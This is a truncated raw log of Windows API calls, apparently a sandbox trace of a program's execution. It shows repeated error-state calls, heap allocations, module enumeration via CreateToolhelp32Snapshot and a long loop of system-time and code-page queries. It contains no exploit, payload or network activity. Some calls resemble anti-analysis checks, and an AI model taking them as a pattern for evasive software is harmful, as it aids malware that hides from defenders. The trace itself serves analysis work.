GetLastError () returned 0x0 [0048.007] SetLastError (dwErrCode=0x0) [0048.007] GetLastError () returned 0x0 [0048.008] SetLastError (dwErrCode=0x0) [0048.008] GetLastError () returned 0x0 [0048.008] SetLastError (dwErrCode=0x0) [0048.008] GetLastError () returned 0x0 [0048.008] SetLastError (dwErrCode=0x0) [0048.008] GetLastError () returned 0x0 [0048.008] SetLastError (dwErrCode=0x0) [0048.008] GetLastError () returned 0x0 [0048.008] SetLastError (dwErrCode=0x0) [0048.008] GetLastError () returned 0x0 [0048.008] SetLastError (dwErrCode=0x0) [0048.008] GetLastError () returned 0x0 [0048.008] SetLastError (dwErrCode=0x0) [0048.008] GetLastError () returned 0x0 [0048.008] SetLastError (dwErrCode=0x0) [0048.008] GetLastError () returned 0x0 [0048.008] SetLastError (dwErrCode=0x0) [0048.008] GetLastError () returned 0x0 [0048.008] SetLastError (dwErrCode=0x0) [0048.008] GetLastError () returned 0x0 [0048.008] SetLastError (dwErrCode=0x0) [0048.008] GetLastError () returned 0x0 [0048.008] SetLastError (dwErrCode=0x0) [0048.008] GetLastError () returned 0x0 [0048.008] SetLastError (dwErrCode=0x0) [0048.008] GetLastError () returned 0x0 [0048.009] SetLastError (dwErrCode=0x0) [0048.009] GetLastError () returned 0x0 [0048.009] SetLastError (dwErrCode=0x0) [0048.009] GetLastError () returned 0x0 [0048.009] SetLastError (dwErrCode=0x0) [0048.009] GetLastError () returned 0x0 [0048.009] SetLastError (dwErrCode=0x0) [0048.009] GetLastError () returned 0x0 [0048.009] SetLastError (dwErrCode=0x0) [0048.009] GetLastError () returned 0x0 [0048.009] SetLastError (dwErrCode=0x0) [0048.009] GetLastError () returned 0x0 [0048.009] SetLastError (dwErrCode=0x0) [0048.009] GetLastError () returned 0x0 [0048.009] SetLastError (dwErrCode=0x0) [0048.009] GetLastError () returned 0x0 [0048.009] SetLastError (dwErrCode=0x0) [0048.009] GetLastError () returned 0x0 [0048.009] SetLastError (dwErrCode=0x0) [0048.009] GetLastError () returned 0x0 [0048.009] SetLastError (dwErrCode=0x0) [0048.009] GetLastError () returned 0x0 [0048.009] SetLastError (dwErrCode=0x0) [0048.009] GetLastError () returned 0x0 [0048.009] SetLastError (dwErrCode=0x0) [0048.009] GetLastError () returned 0x0 [0048.010] SetLastError (dwErrCode=0x0) [0048.010] GetLastError () returned 0x0 [0048.010] SetLastError (dwErrCode=0x0) [0048.010] GetLastError () returned 0x0 [0048.010] SetLastError (dwErrCode=0x0) [0048.010] GetLastError () returned 0x0 [0048.010] SetLastError (dwErrCode=0x0) [0048.010] GetLastError () returned 0x0 [0048.010] SetLastError (dwErrCode=0x0) [0048.010] GetLastError () returned 0x0 [0048.010] SetLastError (dwErrCode=0x0) [0048.010] GetLastError () returned 0x0 [0048.010] SetLastError (dwErrCode=0x0) [0048.010] GetLastError () returned 0x0 [0048.010] SetLastError (dwErrCode=0x0) [0048.010] GetLastError () returned 0x0 [0048.010] SetLastError (dwErrCode=0x0) [0048.010] GetLastError () returned 0x0 [0048.010] SetLastError (dwErrCode=0x0) [0048.010] GetLastError () returned 0x0 [0048.010] SetLastError (dwErrCode=0x0) [0048.010] GetLastError () returned 0x0 [0048.010] SetLastError (dwErrCode=0x0) [0048.010] GetLastError () returned 0x0 [0048.010] SetLastError (dwErrCode=0x0) [0048.010] GetLastError () returned 0x0 [0048.011] SetLastError (dwErrCode=0x0) [0048.011] GetLastError () returned 0x0 [0048.011] SetLastError (dwErrCode=0x0) [0048.011] GetLastError () returned 0x0 [0048.011] SetLastError (dwErrCode=0x0) [0048.011] GetLastError () returned 0x0 [0048.011] SetLastError (dwErrCode=0x0) [0048.011] GetLastError () returned 0x0 [0048.011] SetLastError (dwErrCode=0x0) [0048.011] GetLastError () returned 0x0 [0048.011] SetLastError (dwErrCode=0x0) [0048.011] GetLastError () returned 0x0 [0048.011] SetLastError (dwErrCode=0x0) [0048.011] GetLastError () returned 0x0 [0048.011] SetLastError (dwErrCode=0x0) [0048.011] GetLastError () returned 0x0 [0048.011] SetLastError (dwErrCode=0x0) [0048.011] GetLastError () returned 0x0 [0048.011] SetLastError (dwErrCode=0x0) [0048.011] GetLastError () returned 0x0 [0048.011] SetLastError (dwErrCode=0x0) [0048.011] GetLastError () returned 0x0 [0048.011] SetLastError (dwErrCode=0x0) [0048.011] GetLastError () returned 0x0 [0048.011] SetLastError (dwErrCode=0x0) [0048.011] GetLastError () returned 0x0 [0048.012] SetLastError (dwErrCode=0x0) [0048.012] GetLastError () returned 0x0 [0048.012] SetLastError (dwErrCode=0x0) [0048.012] GetLastError () returned 0x0 [0048.012] SetLastError (dwErrCode=0x0) [0048.012] GetLastError () returned 0x0 [0048.012] SetLastError (dwErrCode=0x0) [0048.012] GetLastError () returned 0x0 [0048.012] SetLastError (dwErrCode=0x0) [0048.012] GetLastError () returned 0x0 [0048.012] SetLastError (dwErrCode=0x0) [0048.012] GetLastError () returned 0x0 [0048.012] SetLastError (dwErrCode=0x0) [0048.012] GetLastError () returned 0x0 [0048.012] SetLastError (dwErrCode=0x0) [0048.012] GetLastError () returned 0x0 [0048.012] SetLastError (dwErrCode=0x0) [0048.012] GetLastError () returned 0x0 [0048.012] SetLastError (dwErrCode=0x0) [0048.012] GetLastError () returned 0x0 [0048.012] SetLastError (dwErrCode=0x0) [0048.012] GetLastError () returned 0x0 [0048.012] SetLastError (dwErrCode=0x0) [0048.012] GetLastError () returned 0x0 [0048.012] SetLastError (dwErrCode=0x0) [0048.012] GetLastError () returned 0x0 [0048.013] SetLastError (dwErrCode=0x0) [0048.013] GetLastError () returned 0x0 [0048.013] SetLastError (dwErrCode=0x0) [0048.013] GetLastError () returned 0x0 [0048.013] SetLastError (dwErrCode=0x0) [0048.013] GetLastError () returned 0x0 [0048.013] SetLastError (dwErrCode=0x0) [0048.013] GetLastError () returned 0x0 [0048.013] SetLastError (dwErrCode=0x0) [0048.013] GetLastError () returned 0x0 [0048.013] SetLastError (dwErrCode=0x0) [0048.013] GetLastError () returned 0x0 [0048.013] SetLastError (dwErrCode=0x0) [0048.013] GetLastError () returned 0x0 [0048.013] SetLastError (dwErrCode=0x0) [0048.013] GetLastError () returned 0x0 [0048.013] SetLastError (dwErrCode=0x0) [0048.013] GetLastError () returned 0x0 [0048.013] SetLastError (dwErrCode=0x0) [0048.013] GetLastError () returned 0x0 [0048.013] SetLastError (dwErrCode=0x0) [0048.013] GetLastError () returned 0x0 [0048.013] SetLastError (dwErrCode=0x0) [0048.013] GetLastError () returned 0x0 [0048.013] SetLastError (dwErrCode=0x0) [0048.013] GetLastError () returned 0x0 [0048.014] SetLastError (dwErrCode=0x0) [0048.014] GetLastError () returned 0x0 [0048.014] SetLastError (dwErrCode=0x0) [0048.014] GetLastError () returned 0x0 [0048.014] SetLastError (dwErrCode=0x0) [0048.014] GetLastError () returned 0x0 [0048.014] SetLastError (dwErrCode=0x0) [0048.014] GetLastError () returned 0x0 [0048.014] SetLastError (dwErrCode=0x0) [0048.014] GetLastError () returned 0x0 [0048.014] SetLastError (dwErrCode=0x0) [0048.014] GetLastError () returned 0x0 [0048.014] SetLastError (dwErrCode=0x0) [0048.014] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x98) returned 0x501a00 [0048.014] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x1f) returned 0x501aa0 [0048.014] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x36) returned 0x501ac8 [0048.014] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x37) returned 0x501b08 [0048.014] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x3c) returned 0x501b48 [0048.014] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x31) returned 0x501b90 [0048.014] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x17) returned 0x501bd0 [0048.014] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x24) returned 0x501bf0 [0048.014] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x14) returned 0x501c20 [0048.014] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0xd) returned 0x501c40 [0048.014] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x25) returned 0x501c58 [0048.014] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x39) returned 0x501c88 [0048.014] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x18) returned 0x501cd0 [0048.014] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x17) returned 0x501cf0 [0048.014] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0xe) returned 0x501d10 [0048.014] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x69) returned 0x501d28 [0048.014] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x3e) returned 0x501da0 [0048.014] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x1b) returned 0x501de8 [0048.014] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x1d) returned 0x501e10 [0048.014] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x48) returned 0x501e38 [0048.014] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x12) returned 0x501e88 [0048.015] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x18) returned 0x501ea8 [0048.015] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x1b) returned 0x501ec8 [0048.015] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x24) returned 0x501ef0 [0048.015] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x29) returned 0x501f20 [0048.015] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x1e) returned 0x501f58 [0048.015] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x41) returned 0x501f80 [0048.015] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x17) returned 0x501fd0 [0048.015] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0xf) returned 0x501ff0 [0048.015] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x16) returned 0x502008 [0048.015] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x2a) returned 0x502028 [0048.015] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x29) returned 0x502060 [0048.015] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x15) returned 0x502098 [0048.015] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x1e) returned 0x5020b8 [0048.015] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x2a) returned 0x5020e0 [0048.015] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x12) returned 0x502118 [0048.015] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x18) returned 0x502138 [0048.015] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x46) returned 0x502158 [0048.015] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x5011f8 | out: hHeap=0x500000) returned 1 [0048.016] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x800) returned 0x5021a8 [0048.016] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x80) returned 0x5011f8 [0048.016] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x404e49) returned 0x0 [0048.017] RtlSizeHeap (HeapHandle=0x500000, Flags=0x0, MemoryPointer=0x5011f8) returned 0x80 [0048.017] GetLastError () returned 0x0 [0048.017] SetLastError (dwErrCode=0x0) [0048.017] GetLastError () returned 0x0 [0048.017] SetLastError (dwErrCode=0x0) [0048.017] GetLastError () returned 0x0 [0048.017] SetLastError (dwErrCode=0x0) [0048.017] GetLastError () returned 0x0 [0048.017] SetLastError (dwErrCode=0x0) [0048.017] GetLastError () returned 0x0 [0048.017] SetLastError (dwErrCode=0x0) [0048.017] GetLastError () returned 0x0 [0048.017] SetLastError (dwErrCode=0x0) [0048.017] GetLastError () returned 0x0 [0048.017] SetLastError (dwErrCode=0x0) [0048.017] GetLastError () returned 0x0 [0048.017] SetLastError (dwErrCode=0x0) [0048.017] GetLastError () returned 0x0 [0048.017] SetLastError (dwErrCode=0x0) [0048.017] GetLastError () returned 0x0 [0048.017] SetLastError (dwErrCode=0x0) [0048.018] GetLastError () returned 0x0 [0048.018] SetLastError (dwErrCode=0x0) [0048.018] GetLastError () returned 0x0 [0048.018] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0048.018] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0048.018] GetProcAddress (hModule=0x76c20000, lpProcName="Module32FirstW") returned 0x76c579f9 [0048.018] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x78 [0048.020] Module32FirstW (hSnapshot=0x78, lpme=0x18fac8) returned 0 [0048.020] PeekMessageA (in: lpMsg=0x18fa44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18fa44) returned 0 [0048.020] GetTickCount () returned 0x1acc2 [0048.020] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.020] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.020] GetACP () returned 0x4e4 [0048.020] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.020] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.020] GetACP () returned 0x4e4 [0048.020] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.020] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.020] GetACP () returned 0x4e4 [0048.020] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.021] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.021] GetACP () returned 0x4e4 [0048.021] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.021] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.021] GetACP () returned 0x4e4 [0048.021] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.021] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.021] GetACP () returned 0x4e4 [0048.021] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.021] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.021] GetACP () returned 0x4e4 [0048.021] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.021] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.021] GetACP () returned 0x4e4 [0048.021] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.021] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.021] GetACP () returned 0x4e4 [0048.021] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.021] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.021] GetACP () returned 0x4e4 [0048.021] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.021] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.022] GetACP () returned 0x4e4 [0048.022] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.022] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.022] GetACP () returned 0x4e4 [0048.022] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.022] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.022] GetACP () returned 0x4e4 [0048.022] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.022] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.022] GetACP () returned 0x4e4 [0048.022] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.022] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.022] GetACP () returned 0x4e4 [0048.022] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.022] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.022] GetACP () returned 0x4e4 [0048.022] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.022] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.022] GetACP () returned 0x4e4 [0048.022] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.022] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.022] GetACP () returned 0x4e4 [0048.022] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.022] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.022] GetACP () returned 0x4e4 [0048.022] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.022] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.022] GetACP () returned 0x4e4 [0048.023] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.023] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.023] GetACP () returned 0x4e4 [0048.023] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.023] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.023] GetACP () returned 0x4e4 [0048.023] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.023] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.023] GetACP () returned 0x4e4 [0048.023] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.023] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.023] GetACP () returned 0x4e4 [0048.023] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.023] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.023] GetACP () returned 0x4e4 [0048.023] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.023] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.023] GetACP () returned 0x4e4 [0048.023] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.023] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.023] GetACP () returned 0x4e4 [0048.023] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.023] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.023] GetACP () returned 0x4e4 [0048.023] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.023] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.023] GetACP () returned 0x4e4 [0048.023] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.024] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.024] GetACP () returned 0x4e4 [0048.024] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.024] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.024] GetACP () returned 0x4e4 [0048.024] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.024] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.024] GetACP () returned 0x4e4 [0048.024] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.024] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.024] GetACP () returned 0x4e4 [0048.024] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.024] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.024] GetACP () returned 0x4e4 [0048.024] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.024] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.024] GetACP () returned 0x4e4 [0048.024] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.024] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.024] GetACP () returned 0x4e4 [0048.024] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.024] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.024] GetACP () returned 0x4e4 [0048.024] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.024] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.024] GetACP () returned 0x4e4 [0048.024] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.025] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.025] GetACP () returned 0x4e4 [0048.025] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.025] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.025] GetACP () returned 0x4e4 [0048.025] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.025] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.025] GetACP () returned 0x4e4 [0048.025] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, 